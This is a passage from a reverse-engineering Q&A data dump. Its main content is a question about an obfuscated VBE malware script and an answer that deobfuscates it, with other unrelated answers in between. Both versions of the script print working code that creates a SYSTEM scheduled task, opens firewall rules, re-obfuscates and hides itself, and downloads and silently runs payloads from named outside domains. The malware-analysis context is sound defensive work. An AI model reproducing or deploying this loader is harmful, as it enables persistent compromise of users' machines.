Then&#xA;                D9FF4E5DA8 = .Replace(D9FF4E5DA8, &quot;$1&quot;&quot;&quot; &amp;amp; D9(CB59D564B) &amp;amp; &quot;&quot;&quot;$3&quot;)&#xA;            Else&#xA;                D9FF4E5DA8 = Replace(D9FF4E5DA8, CA2C09B1068, CCD2479A6F784D5E9B13C7D(CA2C09B1068))&#xA;            End If&#xA;        Loop&#xA;        For Each CA2C09B1068 In CCD2479A6F784D5E9B13C7D&#xA;            D9FF4E5DA8 = Replace(D9FF4E5DA8, CA2C09B1068, CCD2479A6F784D5E9B13C7D(CA2C09B1068))&#xA;        Next&#xA;    End With&#xA;    FA2 = D9FF4E5DA8&#xA;&#xA;End Function&#xA;&#xA;Function C87E(E00CD)&#xA;&#xA;    Dim E0841EA011&#xA;&#xA;    set E0841EA011 = CreateObject(&quot;Scripting.Encoder&quot;)&#xA;    E00CD = E0841EA011.EncodeScriptFile(&quot;.vbs&quot;, E00CD, 0, &quot;&quot;)&#xA;    If Asc(Right(E00CD, 1)) = 0 Then E00CD = Left(E00CD, Len(E00CD) - 1)&#xA;    C87E = E00CD&#xA;&#xA;End Function&#xA;&#xA;Function B64C32BB17144(E00CD)&#xA;&#xA;    Dim F7C49787803847&#xA;    Dim AF5716&#xA;&#xA;    Do&#xA;        AF5716 = 0&#xA;        F7C49787803847 = InStr(E00CD, &quot;#@~^&quot;)&#xA;        If F7C49787803847 &amp;gt; 0 Then&#xA;            If InStr(F7C49787803847, E00CD, &quot;==&quot;) - F7C49787803847 = 10 Then&#xA;                AF5716 = InStr(F7C49787803847, E00CD, &quot;==^#~@&quot;)&#xA;                If AF5716 &amp;gt; 0 Then&#xA;                    E00CD = _&#xA;                        Left(E00CD, F7C49787803847 - 1) &amp;amp; _&#xA;                        E6168(Mid(E00CD, F7C49787803847 + 12, AF5716 - F7C49787803847 - 12 - 6)) &amp;amp; _&#xA;                        Mid(E00CD, AF5716 + 6)&#xA;                End If&#xA;            End If&#xA;        End If&#xA;    Loop Until AF5716 = 0&#xA;    B64C32BB17144 = E00CD&#xA;&#xA;End Function&#xA;&#xA;Function E6168(E00CD)&#xA;&#xA;    Const FE2573C60644DC = &quot;1231232332321323132311233213233211323231311231321323112331123132&quot;&#xA;&#xA;    Dim E0841EA011, CD10282927844, A0, D1619D105014E6, D383AB927646D, BA&#xA;    Dim B1990EE1E94(127)&#xA;&#xA;    Set E0841EA011 = WSCript.CreateObject(&quot;Scripting.Encoder&quot;)&#xA;    For CD10282927844 = 9 To 127&#xA;        B1990EE1E94(CD10282927844) = &quot;JLA&quot;&#xA;    Next&#xA;    For CD10282927844 = 9 To 127&#xA;        BA = Mid(E0841EA011.EncodeScriptFile(&quot;.vbs&quot;, String(3, CD10282927844), 0, &quot;&quot;), 13, 3)&#xA;        For D1619D105014E6 = 1 To 3&#xA;            A0 = Asc(Mid(BA, D1619D105014E6, 1))&#xA;            B1990EE1E94(A0) = Left(B1990EE1E94(A0), D1619D105014E6 - 1) &amp;amp; Chr(CD10282927844) &amp;amp; Mid(B1990EE1E94(A0), D1619D105014E6 + 1)&#xA;        Next&#xA;    Next&#xA;    B1990EE1E94(42) = Left(B1990EE1E94(42), 1) &amp;amp; &quot;)&quot; &amp;amp; Right(B1990EE1E94(42), 1)&#xA;    E00CD = Replace(Replace(E00CD, &quot;@&amp;amp;&quot;, Chr(10)), &quot;@#&quot;, Chr(13))&#xA;    E00CD = Replace(Replace(E00CD, &quot;@*&quot;, &quot;&amp;gt;&quot;), &quot;@!&quot;, &quot;&amp;lt;&quot;)&#xA;    E00CD = Replace(E00CD, &quot;@$&quot;, &quot;@&quot;)&#xA;    D383AB927646D = -1&#xA;    For CD10282927844 = 1 To Len(E00CD)&#xA;        A0 = Asc(Mid(E00CD, CD10282927844, 1))&#xA;        If A0 &amp;lt; 128 Then D383AB927646D = D383AB927646D + 1&#xA;        If (A0 = 9) Or ((A0 &amp;gt; 31) And (A0 &amp;lt; 128)) Then&#xA;            If (A0 &amp;lt;&amp;gt; 60) And (A0 &amp;lt;&amp;gt; 62) And (A0 &amp;lt;&amp;gt; 64) Then&#xA;                E00CD = _&#xA;                    Left(E00CD, CD10282927844 - 1) &amp;amp; _&#xA;                    Mid(B1990EE1E94(A0), Mid(FE2573C60644DC, (D383AB927646D Mod 64) + 1, 1), 1) &amp;amp; _&#xA;                    Mid(E00CD, CD10282927844 + 1)&#xA;            End If&#xA;        End If&#xA;    Next&#xA;    E6168 = E00CD&#xA;&#xA;End Function&#xA;&#xA;&#xA;C9B0C270511241EBBF8 &quot;https://2no.co/177Ky7&quot;&#xA;Function C9B0C270511241EBBF8(F3)&#xA;Dim B3996&#xA;Set B3996 = CreateObject(&quot;MSXML2.ServerXMLHTTP&quot;)&#xA;B3996.setTimeouts 0, 0, 0, 0&#xA;B3996.Open &quot;GET&quot;, F3, False&#xA;B3996.send&#xA;C9B0C270511241EBBF8 = B3996.responseText&#xA;Set B3996 = Nothing&#xA;End Function&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="30843" LastActivityDate="2020-01-21T00:23:55.237" Title="Obfuscated VBE malware script analysis" Tags="|malware|static-analysis|deobfuscation|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23060" PostTypeId="2" ParentId="23055" CreationDate="2020-01-20T13:09:50.277" Score="2" Body="&lt;p&gt;&lt;em&gt;Just a brief analyze of data samples you provided.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;First:&#xA;&lt;code&gt;7b0fc4f83d3fc320ef3865a1b472caeba3f0b60e09f257c61f34af77a7ff57adTB5QO8kXU18KUIgZGXblGYAOC7qbRzizHLGpGdUPbywggHncAkwJVe4M/0w7Dy9svucGrEgYbud0OY5iCFlTalho9j9SWzGMXlWjqU0wrFApBh+/Rqy8v93q1gBlpwLsuj7WBppuWItBmhoOyxkyKLv8Vm6AVVeXxndd4kklq+E=&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Second:&#xA;&lt;code&gt;8849c262187451b5f558f4c2f150ec67efaafc192f51b1b8983754090e0c767bb+5SL0SVpqqHUB7zPYvNzEMSanK9r2uL7xUe/TK+9rofXD6gqQpsIKB2P7aECihmfEwEdQaLG6Kz3W5B1wiwxZRbdutdBbRYClAAoZ/bhaTdm2VnPBVZKuisi3cVVM91p2/pjb/qSPor7/026fq9PitSBizAtSbf858/BcTu7sw=H2pFMj+uoRaSnqqPdNbdrZzh3AF9H0uhagE9V7R6V8Ed67HFvGYS/Cg9DReGtlj1n1HtjpV14qqfYt5l/tVesG2B/Xh84tkr14t/RgTUA7cXwn3bWEWUcjxCFWlmAs2RXLs6g1Up3e/g4rolmGO8JAbFwRXWhFQQvZMx1+D5tjM=Tie6y7lK/q6Vlw9ssVYUYDP5Il5dYZxGPtkJSkaOPNGjkin81azLZFdtU7K6wUBcHYOoZzhthYdFMIK8K30UMGPMQI9/d4AKJsATT1PXaw/A1bjkMnapCdJl4IWGNs55IgHEs6mMPENlBuVodjQXJNodIkXOFa+I+q+MlGu0Rls=&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;First 64 symbols. It could be &lt;em&gt;sha256&lt;/em&gt; hash of file you upload or key for decryption data which encoded in &lt;em&gt;base64&lt;/em&gt;;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;First&lt;/em&gt; part contains single &lt;em&gt;base64&lt;/em&gt; which contains &lt;strong&gt;128&lt;/strong&gt; bytes of data. &lt;em&gt;Second&lt;/em&gt; example contains 2 parts encoded in &lt;em&gt;base64&lt;/em&gt; separately (splitting data into chunks could be caused by limits for data size of selected encrypting algorithm):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;First part (decoded data length: &lt;strong&gt;256&lt;/strong&gt;) &#xA;&lt;code&gt;b+5SL0SVpqqHUB7zPYvNzEMSanK9r2uL7xUe/TK+9rofXD6gqQpsIKB2P7aECihmfEwEdQaLG6Kz3W5B1wiwxZRbdutdBbRYClAAoZ/bhaTdm2VnPBVZKuisi3cVVM91p2/pjb/qSPor7/026fq9PitSBizAtSbf858/BcTu7sw=H2pFMj+uoRaSnqqPdNbdrZzh3AF9H0uhagE9V7R6V8Ed67HFvGYS/Cg9DReGtlj1n1HtjpV14qqfYt5l/tVesG2B/Xh84tkr14t/RgTUA7cXwn3bWEWUcjxCFWlmAs2RXLs6g1Up3e/g4rolmGO8JAbFwRXWhFQQvZMx1+D5tjM=&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Second part (decoded data length: &lt;strong&gt;128&lt;/strong&gt;)&#xA;&lt;code&gt;Tie6y7lK/q6Vlw9ssVYUYDP5Il5dYZxGPtkJSkaOPNGjkin81azLZFdtU7K6wUBcHYOoZzhthYdFMIK8K30UMGPMQI9/d4AKJsATT1PXaw/A1bjkMnapCdJl4IWGNs55IgHEs6mMPENlBuVodjQXJNodIkXOFa+I+q+MlGu0Rls=&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Decoded data of each this parts looks too random, so I suppose that data encoded using one of &lt;em&gt;block cipher symmetric-key algorithms&lt;/em&gt;. Why? Because:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If data is not encoded 99% of developers will use &lt;em&gt;JSON&lt;/em&gt; or &lt;em&gt;XML&lt;/em&gt; or whatever else instead of custom structures which means additional work on serializer (all developers are lazy);&lt;/li&gt;&#xA;&lt;li&gt;Length of each block of data is exactly divisible by 16;&lt;/li&gt;&#xA;&lt;li&gt;Weird hash on the start of sample which could be a key or any other input for decryption (length - &lt;strong&gt;64&lt;/strong&gt;, btw).&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;It's all interesting information which can be extracted from your samples. Maybe I noticed something you haven't yet, who knows  ¯\_(ツ)_/¯ &lt;/p&gt;&#xA;" OwnerUserId="26478" LastActivityDate="2020-01-20T13:09:50.277" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23061" PostTypeId="2" ParentId="23051" CreationDate="2020-01-20T14:27:01.627" Score="1" Body="&lt;p&gt;You are given only the code of the &lt;code&gt;main()&lt;/code&gt; and &lt;code&gt;winner()&lt;/code&gt; functions because only these ones are relevant for the exploitation. But, of course, the binary embed also the code of &lt;code&gt;malloc()&lt;/code&gt; and &lt;code&gt;free()&lt;/code&gt; which are taken from the original Doug Lea's &lt;code&gt;malloc()&lt;/code&gt; function. If you want to reproduce the same binary with the code, you may need to add the code of the &lt;a href=&quot;http://gee.cs.oswego.edu/dl/html/malloc.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;original Doug Lea's &lt;code&gt;malloc()&lt;/code&gt;&lt;/a&gt; as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find the source code &lt;a href=&quot;http://gee.cs.oswego.edu/pub/misc/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="53" LastActivityDate="2020-01-20T14:27:01.627" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23062" PostTypeId="2" ParentId="22044" CreationDate="2020-01-20T21:20:13.203" Score="3" Body="&lt;p&gt;If you follow the function pointer to where the actual function's address is in your first binary, you should see something similar to this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00870808 09 00 00 80     addr      &amp;lt;EXTERNAL&amp;gt;::Function_Something&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Right click the operand (the &lt;code&gt;&amp;lt;EXTERNAL&amp;gt;...&lt;/code&gt; part) and select '&lt;em&gt;Edit External Location&lt;/em&gt;'. A new dialog window will pop up. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this window, click the '&lt;em&gt;Edit&lt;/em&gt;' button next to the '&lt;em&gt;Path&lt;/em&gt;' field and select your &lt;code&gt;.so&lt;/code&gt; file.&lt;/p&gt;&#xA;" OwnerUserId="30846" LastEditorUserId="53" LastEditDate="2020-01-21T08:48:01.733" LastActivityDate="2020-01-21T08:48:01.733" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23063" PostTypeId="2" ParentId="23056" CreationDate="2020-01-20T22:02:12.663" Score="1" Body="&lt;p&gt;I know you probably have figured this out... but the JavaScript Beautifier worked perfectly when I used it. &lt;/p&gt;&#xA;" OwnerUserId="30432" LastActivityDate="2020-01-20T22:02:12.663" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="23064" PostTypeId="1" AcceptedAnswerId="23066" CreationDate="2020-01-20T23:58:46.000" Score="1" ViewCount="387" Body="&lt;p&gt;I'm working on a larger reversing project and came across this segment. I don't really understand what's going on here. There is no other way to proceed along the flow of control besides bypassing this block and jumping to 0x400d2d. Also noting that there are other locations in this program that call strtok with &quot;reasonable&quot; arguments, and I've bypassed those sections correctly. Would anyone share some wisdom I'm lacking? Thank you!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov     esi, 0x401018  // delimiter argument '\'&#xA;mov     edi, 0x0       // address at 0? doesn't make sense&#xA;call    strtok&#xA;mov     qword [rbp-0x48], rax  // this is always going to return 0&#xA;cmp     qword [rbp-0x48], 0x0  &#xA;jne     0x400d2d // want to jump here, but can't&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28950" LastEditorUserId="28950" LastEditDate="2020-01-21T00:07:30.973" LastActivityDate="2022-08-12T21:41:33.207" Title="strtok called on char pointer at 0" Tags="|x86|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23065" PostTypeId="2" ParentId="23059" CreationDate="2020-01-21T00:23:55.237" Score="4" Body="&lt;p&gt;This script is mostly obfuscated through renaming of variables and function names. I recommend using a tool such as &lt;a href=&quot;https://code.visualstudio.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Visual Studio Code&lt;/a&gt; Where you can right click the variable or function and select option &quot;Rename all occurrences&quot; and give everything human readable name. You can search for how a variable or function is generally used and give it a name based on that. Then for further testing I would test in an isolated virtual machine using a VBScript debugger and you can step line by line and analyse the results of variables. Or you could change the .Execute/ .Run etc to output the contents of the strings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An example manually renaming the variables and functions makes it much easier to read:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;On Error Resume Next&#xA;&#xA;CreateScheduledTask&#xA;AddFirewallRuleToAllowScript&#xA;CheckIfOnline&#xA;RunDownloadedPayload&#xA;HttpGet &quot;https://2no.co/177Ky7&quot;&#xA;&#xA;Sub CreateScheduledTask()&#xA;    Dim TargetFolderName, Filename, ScriptFolder, FilenameExtension, ScriptContents&#xA;    With CreateObject(&quot;WScript.Shell&quot;)&#xA;        Filename = Replace(Mid(CreateObject(&quot;Scriptlet.TypeLib&quot;).Guid, 2, 36), &quot;-&quot;, &quot;&quot;)&#xA;        TargetFolderName = .Environment(&quot;process&quot;)(&quot;appdata&quot;) &amp;amp; &quot;\&quot; &amp;amp; Replace(Mid(CreateObject(&quot;Scriptlet.TypeLib&quot;).Guid, 2, 36), &quot;-&quot;, &quot;&quot;) &amp;amp; &quot;\&quot;&#xA;        With CreateObject(&quot;Scripting.FileSystemObject&quot;)&#xA;            ScriptFolder = .GetParentFolderName(WScript.ScriptFullName) &amp;amp; &quot;\&quot;&#xA;            FilenameExtension = &quot;.&quot; &amp;amp; .GetExtensionName(WScript.ScriptFullName)&#xA;            CreateFolder TargetFolderName&#xA;            With .OpenTextFile(WScript.ScriptFullName, 1, False, -2) ' -2 - System default, -1 - Unicode, 0 - ASCII&#xA;                ScriptContents = .ReadAll&#xA;                .Close&#xA;            End With&#xA;            If LCase(FilenameExtension) = &quot;.vbe&quot; Then&#xA;                ScriptContents = SomeStringOperation(ScriptContents)&#xA;                ScriptContents = RunScript(ScriptContents)&#xA;                ScriptContents = encodeString(ScriptContents)&#xA;            Else&#xA;                ScriptContents = RunScript(ScriptContents)&#xA;            End If&#xA;            With .OpenTextFile(TargetFolderName &amp;amp; Filename &amp;amp; FilenameExtension, 2, True, -1)&#xA;                .Write ScriptContents&#xA;                .Close&#xA;            End With&#xA;            .DeleteFile WScript.ScriptFullName, True&#xA;            With .GetFolder(ScriptFolder)&#xA;                If .Files.Count = 0 And .SubFolders.Count = 0 Then&#xA;                    .Delete True&#xA;                End If&#xA;            End With&#xA;        End With&#xA;        .Run &quot;schtasks /create /ru system /tn WindowsTaskCoreUpdate /sc onstart /tr &quot;&quot;&quot; &amp;amp; TargetFolderName &amp;amp; Filename &amp;amp; FilenameExtension &amp;amp; &quot;&quot;&quot; /f /rl highest&quot;, 0, True&#xA;    End With&#xA;End Sub&#xA;&#xA;Sub CreateFolder(FolderName)&#xA;    With CreateObject(&quot;Scripting.FileSystemObject&quot;)&#xA;        If Not .FolderExists(FolderName) Then&#xA;            CreateFolder .GetParentFolderName(FolderName)&#xA;            .CreateFolder FolderName&#xA;            With .GetFolder(FolderName)&#xA;                .Attributes = .Attributes Or 2&#xA;            End With&#xA;        End If&#xA;    End With &#xA;End Sub&#xA;&#xA;Sub AddFirewallRuleToAllowScript()&#xA;    AddFireWallRule &quot;Add&quot;, WScript.FullName&#xA;End Sub&#xA;&#xA;Sub AddFireWallRule(FirewallRuleName, ProgramName)&#xA;    With CreateObject(&quot;WScript.Shell&quot;)&#xA;        .Run &quot;netsh advfirewall firewall add rule name=&quot;&quot;&quot; &amp;amp; FirewallRuleName &amp;amp; &quot;&quot;&quot; dir=in action=allow description=&quot;&quot;&quot; &amp;amp; FirewallRuleName &amp;amp; &quot;&quot;&quot; program=&quot;&quot;&quot; &amp;amp; ProgramName &amp;amp; &quot;&quot;&quot; enable=yes&quot;, 0, True&#xA;        .Run &quot;netsh advfirewall firewall add rule name=&quot;&quot;&quot; &amp;amp; FirewallRuleName &amp;amp; &quot;&quot;&quot; dir=out action=allow description=&quot;&quot;&quot; &amp;amp; FirewallRuleName &amp;amp; &quot;&quot;&quot; program=&quot;&quot;&quot; &amp;amp; ProgramName &amp;amp; &quot;&quot;&quot; enable=yes&quot;, 0, True&#xA;    End With &#xA;End Sub&#xA;&#xA;Sub CheckIfOnline()&#xA;    Dim Url&#xA;    Do&#xA;        For Each Url In Array(&quot;facebook.com&quot;, &quot;google.com&quot;, &quot;youtube.com&quot;, &quot;vk.com&quot;, &quot;yahoo.com&quot;, &quot;live.com&quot;, &quot;instagram.com&quot;)&#xA;            With GetObject(&quot;winmgmts:{impersonationLevel=Impersonate}!\\.\root\CIMV2:Win32_PingStatus.Address='&quot; &amp;amp; Url &amp;amp; &quot;'&quot;)&#xA;                Select Case True&#xA;                    Case IsNull(.StatusCode)&#xA;                    Case .StatusCode &amp;lt;&amp;gt; 0&#xA;                    Case Else Exit Sub&#xA;                End Select&#xA;            End  With&#xA;        Next&#xA;        WScript.Sleep 10000&#xA;    Loop&#xA;End Sub&#xA;&#xA;Sub RunDownloadedPayload()&#xA;    Dim Url, ProgramName, HttpResponsecode, HttpErrorCode&#xA;    ProgramName = CreateObject(&quot;WScript.Shell&quot;).Environment(&quot;process&quot;)(&quot;temp&quot;) &amp;amp; &quot;\steam.vbe&quot;&#xA;    For Each Url In Array(_&#xA;        &quot;http://gmfordown.com/game.log&quot;, _&#xA;        &quot;http://tor4games.com/steam.lock&quot;, _&#xA;        &quot;http://dvx2videofr.com/pack.dll&quot;)&#xA;        Download Url, ProgramName, HttpResponsecode, HttpErrorCode&#xA;        If HttpResponsecode = 200 And HttpErrorCode = 0 Then Exit For&#xA;    Next&#xA;    If IsEmpty(Url) Then Exit Sub&#xA;    If LCase(Right(ProgramName, 4)) = &quot;.exe&quot; Then AddFireWallRule &quot;WindowsGenericCoreUpdate&quot;, ProgramName&#xA;    CreateObject(&quot;WScript.Shell&quot;).Run ProgramName, 0, True&#xA;End Sub&#xA;&#xA;Sub Download(Url, ProgramName, HttpResponsecode, HttpErrorCode)&#xA;    Dim HttpResponseBody&#xA;    On Error Resume Next&#xA;    HttpErrorCode = 0&#xA;    With CreateObject(&quot;MSXML2.XMLHTTP&quot;)&#xA;        .Open &quot;GET&quot;, Url, False&#xA;        .Send&#xA;        HttpResponsecode = .status&#xA;        If HttpResponsecode &amp;lt;&amp;gt; 200 Then Exit Sub&#xA;        HttpResponseBody = .responseBody&#xA;    End With&#xA;    HttpErrorCode = Err.Number&#xA;    If HttpErrorCode &amp;lt;&amp;gt; 0 Then Exit Sub&#xA;    With CreateObject(&quot;Scripting.FileSystemObject&quot;)&#xA;        If .FileExists(ProgramName) Then .DeleteFile ProgramName, True&#xA;    End With&#xA;    HttpErrorCode = Err.Number&#xA;    If HttpErrorCode &amp;lt;&amp;gt; 0 Then Exit Sub&#xA;    With CreateObject(&quot;ADODB.Stream&quot;)&#xA;        .Type = 1&#xA;        .Open&#xA;        .Write HttpResponseBody&#xA;        .SaveToFile ProgramName, 2&#xA;        .Close&#xA;    End With&#xA;    HttpErrorCode = Err.Number&#xA;End Sub&#xA;&#xA;Function RunScript(ByVal scriptContent)&#xA;&#xA;    Dim scriptingDictionary1, scriptingDictionary2, scriptingDictionary3, index, C1, percentIndexPercentString, DE, D3, E5, commaSeparatedValue, scriptingDictionaryResult, replaceTypeLibGuidRandomString&#xA;&#xA;    Set scriptingDictionary1 = CreateObject(&quot;Scripting.Dictionary&quot;)&#xA;    Set scriptingDictionary2 = CreateObject(&quot;Scripting.Dictionary&quot;)&#xA;    Set scriptingDictionary3 = CreateObject(&quot;Scripting.Dictionary&quot;)&#xA;    With New RegExp&#xA;        .IgnoreCase = True&#xA;        .Multiline = True&#xA;        .Pattern = &quot;(?:&quot;&quot;(?:&quot;&quot;&quot;&quot;|[^&quot;&quot;\n])*?&quot;&quot;(?!&quot;&quot;))&quot;&#xA;        index = 0&#xA;        Do&#xA;            Set C1 = .Execute(scriptContent)&#xA;            If C1.Count = 0 Then Exit Do&#xA;            Do&#xA;                percentIndexPercentString = &quot;%&quot; &amp;amp; index &amp;amp; &quot;%&quot;&#xA;                If Instr(scriptContent, percentIndexPercentString) = 0 Then Exit Do&#xA;                index = index + 1&#xA;            Loop&#xA;            scriptContent = .Replace(scriptContent, percentIndexPercentString)&#xA;            scriptingDictionary2(percentIndexPercentString) = C1(0).Value&#xA;        Loop&#xA;        scriptContent = Replace(scriptContent, &quot;:&quot;, vbCrLf &amp;amp; &quot;:&quot; &amp;amp; vbCrLf)&#xA;        .Global = True&#xA;        .Pattern = &quot;(\bthen )(.+)&quot;&#xA;        scriptContent = .Replace(scriptContent, &quot;$1&quot; &amp;amp; vbCrLf &amp;amp; Chr(0) &amp;amp; vbCrLf &amp;amp; &quot;$2&quot;)&#xA;        .Pattern = &quot;^[ \t]*(?:(?:private|public|public[ \t]+default)[ \t]+)?(?:function|sub|property[ \t]+(?:let|set|get))[ \t]+([a-z]\w*)[ \t]*\((.*)\)[ \t]*(?:$|'.*$)&quot;&#xA;        For Each DE In .Execute(scriptContent)&#xA;            scriptingDictionary1(DE.SubMatches(0)) = &quot;&quot;&#xA;            D3 = DE.SubMatches(1)&#xA;            With New RegExp&#xA;                .Global = True&#xA;                .IgnoreCase = True&#xA;                .Pattern = &quot;(?:\b(?:byval|byref)[ \t]+)?([a-z]\w*)[ \t]*&quot;&#xA;                For Each E5 In .Execute(D3)&#xA;                    scriptingDictionary1(E5.SubMatches(0)) = &quot;&quot;&#xA;                Next&#xA;            End With&#xA;        Next&#xA;        .Pattern = &quot;^[ \t]*(?:dim|redim[ \t]+preserve|redim)[ \t]+(.*?)[ \t]*(?:$|'.*$)&quot;&#xA;        For Each DE In .Execute(scriptContent)&#xA;            D3 = DE.SubMatches(0)&#xA;            With New RegExp&#xA;                .Global = True&#xA;                .IgnoreCase = True&#xA;                .Pattern = &quot;\([^\(]*?\)&quot;&#xA;                Do While .Test(D3)&#xA;                    D3 = .Replace(D3, &quot;&quot;)&#xA;                Loop&#xA;            End With&#xA;            For Each commaSeparatedValue In Split(D3, &quot;,&quot;)&#xA;                scriptingDictionary1(Trim(commaSeparatedValue)) = &quot;&quot;&#xA;            Next&#xA;        Next&#xA;        .Pattern = &quot;^[ \t]*class[ \t]+([a-z]\w*)[ \t]*(?:$|'.*$)&quot;&#xA;        For Each DE In .Execute(scriptContent)&#xA;            scriptingDictionary1(DE.SubMatches(0)) = &quot;&quot;&#xA;        Next&#xA;        .Pattern = &quot;^[ \t]*for[ \t]+each[ \t]+([a-z]\w*)[ \t]+in[ \t]+.+(?:$|'.*$)&quot;&#xA;        For Each DE In .Execute(scriptContent)&#xA;            scriptingDictionary1(DE.SubMatches(0)) = &quot;&quot;&#xA;        Next&#xA;        .Pattern = &quot;^[ \t]*for[ \t]+([a-z]\w*)[ \t]*\=[ \t]*.+(?:$|'.*$)&quot;&#xA;        For Each DE In .Execute(scriptContent)&#xA;            scriptingDictionary1(DE.SubMatches(0)) = &quot;&quot;&#xA;        Next&#xA;        .Pattern = &quot;^[ \t]*(?:(?:set|const)[ \t]+)?([a-z]\w*)[ \t]\=[ \t]*.+(?:$|'.*$)&quot;&#xA;        For Each DE In .Execute(scriptContent)&#xA;            scriptingDictionary1(DE.SubMatches(0)) = &quot;&quot;&#xA;        Next&#xA;        scriptContent = Replace(scriptContent, vbCrLf &amp;amp; Chr(0) &amp;amp; vbCrLf, &quot;&quot;)&#xA;        scriptContent = Replace(scriptContent, vbCrLf &amp;amp; &quot;:&quot; &amp;amp; vbCrLf, &quot;:&quot;)&#xA;        Randomize&#xA;        index = 0&#xA;        scriptingDictionary3(&quot;&quot;) = &quot;&quot;&#xA;        For Each scriptingDictionaryResult In scriptingDictionary1&#xA;            .Pattern = &quot;\b&quot; &amp;amp; scriptingDictionaryResult &amp;amp; &quot;\b&quot;&#xA;            Do&#xA;                replaceTypeLibGuidRandomString = Left(Replace(Mid(CreateObject(&quot;Scriptlet.TypeLib&quot;).Guid, 2, 36), &quot;-&quot;, &quot;&quot;), 32 * Rnd * Rnd ^ 8 + 1)&#xA;                Do While IsNumeric(Left(replaceTypeLibGuidRandomString, 1))&#xA;                    replaceTypeLibGuidRandomString = Mid(replaceTypeLibGuidRandomString, 2)&#xA;                Loop&#xA;                If Not (scriptingDictionary3.Exists(replaceTypeLibGuidRandomString) Or scriptingDictionary1.Exists(replaceTypeLibGuidRandomString)) Then&#xA;                    scriptingDictionary3(replaceTypeLibGuidRandomString) = &quot;&quot;&#xA;                    Exit Do&#xA;                End If&#xA;            Loop&#xA;            scriptContent = .Replace(scriptContent, replaceTypeLibGuidRandomString)&#xA;            scriptingDictionary1(scriptingDictionaryResult) = replaceTypeLibGuidRandomString&#xA;            index = index + 1&#xA;        Next&#xA;        .Global = False&#xA;        .Pattern = &quot;(\bgetref[ \t]*\([ \t]*)(%\d+%)([ \t]*\))&quot;&#xA;        Do&#xA;            Set C1 = .Execute(scriptContent)&#xA;            If C1.Count = 0 Then Exit Do&#xA;            percentIndexPercentString = C1(0).SubMatches(1)&#xA;            scriptingDictionaryResult = scriptingDictionary2(percentIndexPercentString)&#xA;            scriptingDictionaryResult = Mid(scriptingDictionaryResult, 2, Len(scriptingDictionaryResult) - 2)&#xA;            If scriptingDictionary1.Exists(scriptingDictionaryResult) Then&#xA;                scriptContent = .Replace(scriptContent, &quot;$1&quot;&quot;&quot; &amp;amp; scriptingDictionary1(scriptingDictionaryResult) &amp;amp; &quot;&quot;&quot;$3&quot;)&#xA;            Else&#xA;                scriptContent = Replace(scriptContent, percentIndexPercentString, scriptingDictionary2(percentIndexPercentString))&#xA;            End If&#xA;        Loop&#xA;        For Each percentIndexPercentString In scriptingDictionary2&#xA;            scriptContent = Replace(scriptContent, percentIndexPercentString, scriptingDictionary2(percentIndexPercentString))&#xA;        Next&#xA;    End With&#xA;    RunScript = scriptContent&#xA;&#xA;End Function&#xA;&#xA;Function encodeString(inputString)&#xA;&#xA;    Dim ScriptingEncoder&#xA;&#xA;    set ScriptingEncoder = CreateObject(&quot;Scripting.Encoder&quot;)&#xA;    inputString = ScriptingEncoder.EncodeScriptFile(&quot;.vbs&quot;, inputString, 0, &quot;&quot;)&#xA;    If Asc(Right(inputString, 1)) = 0 Then inputString = Left(inputString, Len(inputString) - 1)&#xA;    encodeString = inputString&#xA;&#xA;End Function&#xA;&#xA;Function SomeStringOperation(inputString)&#xA;&#xA;    Dim positionOfHashAt&#xA;    Dim positionOfEqualEqual&#xA;&#xA;    Do&#xA;        positionOfEqualEqual = 0&#xA;        positionOfHashAt = InStr(inputString, &quot;#@~^&quot;)&#xA;        If positionOfHashAt &amp;gt; 0 Then&#xA;            If InStr(positionOfHashAt, inputString, &quot;==&quot;) - positionOfHashAt = 10 Then&#xA;                positionOfEqualEqual = InStr(positionOfHashAt, inputString, &quot;==^#~@&quot;)&#xA;                If positionOfEqualEqual &amp;gt; 0 Then&#xA;                    inputString = _&#xA;                        Left(inputString, positionOfHashAt - 1) &amp;amp; _&#xA;                        encodeString2(Mid(inputString, positionOfHashAt + 12, positionOfEqualEqual - positionOfHashAt - 12 - 6)) &amp;amp; _&#xA;                        Mid(inputString, positionOfEqualEqual + 6)&#xA;                End If&#xA;            End If&#xA;        End If&#xA;    Loop Until 